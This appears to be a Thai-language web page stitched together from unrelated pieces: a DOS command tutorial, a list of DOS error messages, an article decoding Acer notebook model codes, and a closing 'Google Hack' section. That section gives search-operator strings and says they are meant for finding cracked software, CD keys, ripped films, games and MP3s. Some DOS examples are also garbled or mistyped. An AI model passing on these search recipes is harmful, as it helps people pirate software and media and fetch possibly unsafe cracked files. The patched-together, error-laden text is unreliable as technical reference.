REN (RENAME) คำสั่งเปลี่ยนชื่อไฟล์ เป็นคำสั่งที่ใช้ในการเปลี่ยนชื่อไฟล์ และส่วนขยาย โดยคำสั่ง REN นี้ไม่สามารถใช้เปลี่ยนชื่อไดเร็คทอรีได้ รูปแบบคำสั่ง REN [ชื่อไฟล์เดิมล [ชื่อไฟล์ใหม่] ตัวอย่างการใช้คำสั่ง C:\REN BOS.DOC ANN.DOC เปลี่ยนชื่อไฟล์ BOS.DOC ในไดรว์ C เป็น ANN.DOC C:\REN C:\MAYA\BOS.DOC PEE.DOC เปลี่ยนชื่อไฟล์ BOS.DOC ในไดเร็คทอรี MAYA ให้เป็น PEE.DOC C:\REN A:*.*TEX *.OLD เปลี่ยนส่วนขยายของไฟล์ชนิด TXT ทุกไฟล์ในไดรว์ A ให้เป็น OLD
SCANDISK คำสั่ง SCANDISK เป็นคำสั่งตรวจสอบพื่นที่ฮาร์ดดิสก์ สามารถใช้ในการตรวบสอบปัญหาต่าง ๆ ได้ และเมื่อ SCANDISK ตรวจพบปํญหา จะมีทางเลือกให้ 3 ทางคือ FIX IT , Don't Fix IT และ More Info ถ้าไม่เข้าใจปัญหาที่เกิดขึ้นให้เลือก More Info เพื่อขอข้อมูลเพิ่มก่อนตัดสินใจต่อไป ถ้าเลือก FIX IT จะเป็นการสั่งให้ Scandisk ทำการแก้ไขปัญหาที่พบ ถ้าการซ่อมแซมสำเร็จโปรแกรมจะมีรายงานที่จอภาพให้ทราบ ส่วน Don't Fix IT คือให้ข้ามปัญหาที่พบไปโดยไม่ต้องทำ การแก้ไข รูปแบบคำสั่ง SCANDISK [Drive:]/AUTOFIX /AUTOFIX ให้แก้ไขปัญหาโดยอัตโนมัติ ตัวอย่างการใช้คำสั่ง A:\>SCANDISK C: ทำการตรวจสอบปัญหาในไดรว์ C A:\>SCANDISK D:/AUTOFIX ทำการตรวจสอบปัญหาในไดรว์ D และแก้ไขอัตโนมัติ
Type คำสั่งดูข้อมูลในไฟล์ Type เป็นคำสั่งที่ใช้แสดงเนื้อหาภายในไฟล์บนจอภาพ คำสั่งนี้จะใช้ได้กับไฟล์แบบ Text ส่วนไฟล์โปรแกรมต่าง ๆ จะไม่สามารถอ่านได้ รูปแบบคำสั่ง TYPE [ชื่อไฟล์ที่ต้องการอ่าน] ตัวอย่างการใช้คำสั่ง C:\>Type AUTOEXEC.BAT แสดงเนื้อหาภายในไฟล์ AUTOEXEC.BAT C:\>NORTON\TYPE README.TXT แสดงเนื้อหาภายในไฟล์ README.TXT ในไดเร็คทอรี NORTON
XCOPY คำสั่งคัดลอกทั้งไดเร็คทอรีและทั้งหมดในไดเร็คทอรี XCOPY เป็นคำสั่งที่ใช้ในการคัดลอกไฟล์ได้เหมือนคำสั่ง COPY แต่ทำงานได้เร็วกว่า และสามารถคัดลอก ได้ทั้งไดเร็คทอรีและไดเร็คทอรีย่อย รูปแบบคำสั่ง XCOPY [ต้นทาง] [ปลายทาง] /S /E /E ให้คัดลอกไดเร็คทอรีย่อยทั้งหมดรวมถึงไดเร็คทอรีย่อยที่ว่างเปล่าด้วย /S ให้คัดลอกไดเร็คทอรีย่อยที่ไม่ว่างเปล่าทั้งหมด ตัวอย่างการใช้คำสั่ง C:\>XCOPY BACKUP F: /S /E คัดลอกทุกไฟล์และทุกไดเร็คทอรีย่อย BACKUP ไปไว้ในไดรว์ F C:\>PRINCE>XCOPY *.VSD A: คัดลอกทุกไฟล์ที่มีนามสกุล VSD ในไดเร็คทอรี PRINCE ไปที่ไดรว์ A
ข้อความแจ้งปัญหาในดอส ในการทำงานบนดอสบางครั้งก็เกิดปัญหาได้บ่อย ๆ เหมือนกัน ซึ่งการเกิดปัญหาแต่ละครั้งก็จะมีข้อความแจ้งให้ทราบว่าปัญหาที่เกิดขึ้นนั้น มีสาเหตุจากอะไร ต่อไปนี้เป็นข้อความแจ้งปัญหาที่มักพบได้บ่อย ๆ มีดังนี้ Abort, Retry, Fail ? จะพบได้ในการณีที่ไดรว์ไม่มีแผ่นดิสก์อยุ่แล้วเรียกใช้ข้อมูลจากไดรว์นั้น การแก้ไขก็นำแผ่นดิสก์ที่ต้องการใช้มาใส่เข้าไป กดปุ่ม < R > (Retry) การทำงานจะทำต่อจากงานที่ค้างอยู่ก่อนเกิดความผิดพลาด กดปุ่ม < A > (Abort) รอรับคำสั่งจะไปอยู่ในไดรว์ที่สั่งงานล่าสุด กดปุ่ม < F > (Fail) เมื่อต้องการยกเลิกการทำงาน และเปลี่ยนไดรว์ใหม่ Bad Command or file name ใช้คำสั่งผิดหรือไฟล์ที่เรียกใช้งานนั้นไม่สามารถเรียกใช้ได้ การแก้ไข ตรวจสอบบรรทัดคำสั่งว่าถูกต้องหรือไม่ เช่น พิมพ์คำสั่งหรือชื่อไฟล์ถูกต้องหรือไม่ แล้วลองรันคำสั่งดูใหม่อีกครั้ง อาจเกี่ยวข้องกับเวอร์ชันของดอสไม่มีคำสั่งนั้นก็ได้ File not found ไม่สามารถหาไฟล์นั้นพบ อาจไม่มีไฟล์นั้น หรืออาจพิมพ์ชื่อไฟล์นั้นนผิดจากที่ต้องการ นอกจากนี้อาจเกิดจากพาธ (Path) ที่สั่งงานไม่มีไฟล์นั้น Insufficient memory หรือ Out of memory Insufficient memory หน่วยความจำไม่พอต่อความต้องการของโปรแกรม Out of memory โปรแกรมเริ่มทำงานไปแล้วบางส่วนแล้วหน่วยความจำไม่พอ ระบบจึงต้องแจ้งให้ผู้ใช้ทราบ Directory already exits เกิดขึ้นเมื่อสร้างไดเร็คทอรีแล้วไปซ้ำกับซื่อที่มีอยู่แล้วในพาธเดียวกัน Duplicate file ot file not found ถ้าเปลี่ยนชื่อไฟล์ไปซ้ำกับชื่อที่มีอยู่จะทำไม่ได้และจะแจ้งเตือนดังข้อความดังกล่าว InSufficient Disk space ข้อความนี้จะเกิดขึ้นเมื่อดิสก์ไม่เพียงพอต่อการเก็บข้อมูล วิธีแก้ ลองใช้ดิสก์อื่นหรือลบไฟล์ที่ไม่จำเป็นต้องใช้ออก
ในที่นี้คงไม่มีใครที่ไม่รู้จักโน้ตบุ๊กยี่ห้อ Acer นะครับ หรือบางท่านอาจกำลังมองเพื่อจับจองเป็นเจ้าของโน้ตบุ๊กยี่ห้อนี้อยู่ ถ้าคุณดูในแคตตาล็อกคุณก็จะเห็นโน้ตบุ๊กให้เรามาเลือกซื้อกันมากมายหลายรุ่น แต่เชื่อไหมครับว่าชื่อรุ่นที่อย่าง Aspire 5593 WXMi มันมีความหมายแฝงอยู่ด้านใน ซึ่งผมได้ลองถอดรหัสออกมาให้ดูกันครับ
ก่อนอื่นผมจะลองยกมาสักรุ่นนะครับ เอาเป็น Aspire 5593 WXMi ละกัน เราจะมาดูที่ตัวอักษรด้านท้ายหรือ ตัว WXMi กันครับ จากตัวย่อเท่านี้ทำให้ผมพอประมาณได้ว่า โน้ตบุ๊กตัวนี้เป็นจอ LCD Wide Screen หน้าจอขนาดประมาณ 14 นิ้ว มีไดร์ฟ DVD Writer น้ำหนักประมาณ 2.4 kg. และมี Windows แถมติดตั้งมาให้ด้วย โอ้ . . . ปริศนาทั้งหมดไขกระจ่างแล้ว ขอเสียงปรบมือด้วยครับ . . . (^_^) . . .
คุณสามารถตรวจเช็คได้ว่าที่ผมทายถูกหรือไม่ โดยดูจาก Buyer Guide ก็ได้นะครับว่าโน้ตบุ๊กที่ลงท้ายด้วยรหัสนี้มีลักษณะอย่างที่ผมบอกหรือไม่ เอาละเรามาดูความหมายกันเลยครับ
| A : Low Speed FSB
| เป็นโน้ตบุ๊กที่ติดตั้ง CPU ใช้ FSB ต่ำ อย่างเช่น Core Duo T2050 ซึ่งใช้ FSB ที่ 533 MHz แทนที่จะเป็น 667 MHz เหมือนกับ CPU กลุ่ม Core Duo อื่นๆ
|
| N : No OS
| อันนี้คงเข้าใจนะครับ โน้ตบุ๊กรุ่นนี้จะไม่มี Windows แถมมาด้วย
|
| W : Wide Screen
| เดี๋ยวนี้ โน้ตบุ๊กยี่ห้อนี้เป็นจอ Wide Screen หมดแล้ว ดังนั้นคงไม่มีรุ่นไหนที่ไม่ตัว W อยู่นะครับ
|
| S : Screen Size 17”
| รหัสนี้บอกว่าโน้ตบุ๊กรุ่นนี้มีจอ LCD ขนาดใหญ่มาก และยังบอกได้ว่าเป็นโน้ตบุ๊กขนาดใหญ่ซึ่งมีน้ำหนักตั้งแต่ 3.8 kg. ขึ้นไป
|
| L : Large Screen 15”
| รหัสนี้เป็นโน้ตบุ๊กที่ขนาดหน้าจอเล็กลงมาหน่อย (แต่ก็ยังใหญ่อยู่ดี) น้ำหนักของโน้ตบุ๊กขนาดนี้จะอยู่ที่ประมาณ 2.9 – 3.2 kg.
|
| X : Screen Size 14”
| เป็นขนาดหน้าจอประมาณ 14 นิ้ว ซึ่งที่เป็นที่นิยมในปัจจุบัน และน้ำหนักที่ประมาณ 2.4 kg. ซึ่งอยู่ในระดับพกพาได้ไม่หนักเกิน
|
| T : Portable
| เห็นตัวนี้เดาได้เลยว่า เล็ก เบาและแพง หน้าจอจะมีขนาดประมาณ 12 นิ้ว น้ำหนักประมาณ 1.5 – 1.8 kg. รวมทั้งมีโอกาสที่ไดร์ฟ CD/DVD เป็นแบบเชื่อมต่อภายนอกด้วย ดังนั้นโน้ตบุ๊กรุ่นนี้จะเหมาะกับสุภาพสตรี หรือผู้ที่ต้องเดินทางไปไหนมาไหนบ่อยๆ
|
| H : HD-DVD, Blu-Ray Drive
| ซึ่งถ้ามีอักษรนี้เดาได้เลยว่าราคาสูงกว่า 50,000 บาท เพราะโน้ตบุ๊กตัวนั้นได้ติดตั้งไดร์ฟ Optical ยุคหน้า ซึ่งก็คือ HD-DVD หรือ Blu-Ray อยู่ ซึ่งใช้อ่านเขียน CD และ DVD ได้ด้วย แต่ไม่ได้บอกว่าไดร์ฟนั้นสามารถเขียนแผ่น HD-DVD หรือ Blu-Ray ได้หรือไม่
|
| M : DVD Writer
| ไดร์ฟเขียนดีวีดีสุดฮิต กว่า 90% จะมีรหัสนี้ต่อท้ายนะครับ
|
| C : Combo Drive
| Combo Drive อ่านเขียน CD ได้ แต่แผ่น DVD อ่านได้อย่างเดียวเขียนไม่ได้ ตอนนี้รหัสนี้หายาก และอยู่ในรุ่นที่ไม่ค่อยน่าเล่นสักเท่าไหร่แล้ว
|
| i : Wireless Lan
| โน้ตบุ๊ก Acer ทุกรุ่นที่ขายในประเทศไทยตอนนี้ มีระบบ Wireless ติดตั้งไว้อยู่แล้ว ดังนั้นเราจะเห็นอักษรตัวนี้ลงท้่ายเสมอ |
เท่านี้คุณก็สามารถรู้ข้อมูลเบื้องต้นโน้ตบุ๊ก Acer ได้ เพียงแค่รู้ชื่อรุ่นแล้วครับ คุณจะลองของที่ Buyer Guide ของเราก็ได้นะครับ สำหรับยี่ห้ออื่นๆ ผมกำลังแกะอยู่ แกะได้บ้างไม่ได้บ้าง แล้วแต่ผู้ผลิตว่าจะตั้งชื่อรุ่นให้เกี่ยวข้องกับ Spec เครื่องหรือไม่ ถ้าผมแกะออกเมื่อไหร่จะนำมาบอกอีกทีครับ
Credit : http://www.techxcite.com/articledetail.php/article/16/
:: วิธีใช้ Google Hack ::
สามวิธี ใน Google ที่ให้ได้มาซึ่งทุกอย่าง ที่อยากดาวน์โหลด ในอินเตอร์เน็ต คำแนะนำ คุณสามารถใช้วิธีนี้ ในการหาดาวน์โหลดโปรแกรม แคร็ก ซีดี คีย์ หรือต่างๆนานา ที่คุณอยากได้ แต่ผมขอแนะนำว่า คุณควรจะดาวน์โหลด มาเพื่อการทดลอง ทดสอบ หรือการศึกษาเท่านั้น หากคุณชอบ ผมก้ออยากให้คุณซื้อโปรแกรมนั้น
วิธีที่หนึ่ง พิมพ์คำเหล่านี้ ใน Google Search (1) " parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums (2) " parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums (3) " parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums (4) " parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums (5) " parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums (6) " parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums หมายเหตุ ให้คุณเปลี่ยน คำที่ตามหลัง parent directory เช่น MP3 Gamez appz DVDRip เป็นสิ่งที่คุณอยากได้ แล้วก้อค้นหา คุณจะพบกับ ความมหัศจรรย์ใน Google
วิธีที่สอง พิมพ์คำต่อไปนี้ใน Google
?intitle:index.of? mp3 จากนั้นแค่เพิ่มชื่อ เพลง อัลบั้ม นักร้อง ลงไป เช่น ?intitle:index.of? mp3 myfavoritesongs
วิธีที่สาม พิมพ์คำต่อไปนี้ใน Google
inurl:micr0s0f filetype:iso
จากนั้น ก้อเปลี่ยน คำว่า micr0s0f กับคำว่า iso เป็นคำที่คุณต้องการ เช่น inurl:myc0mpany filetype:zip
|
|
|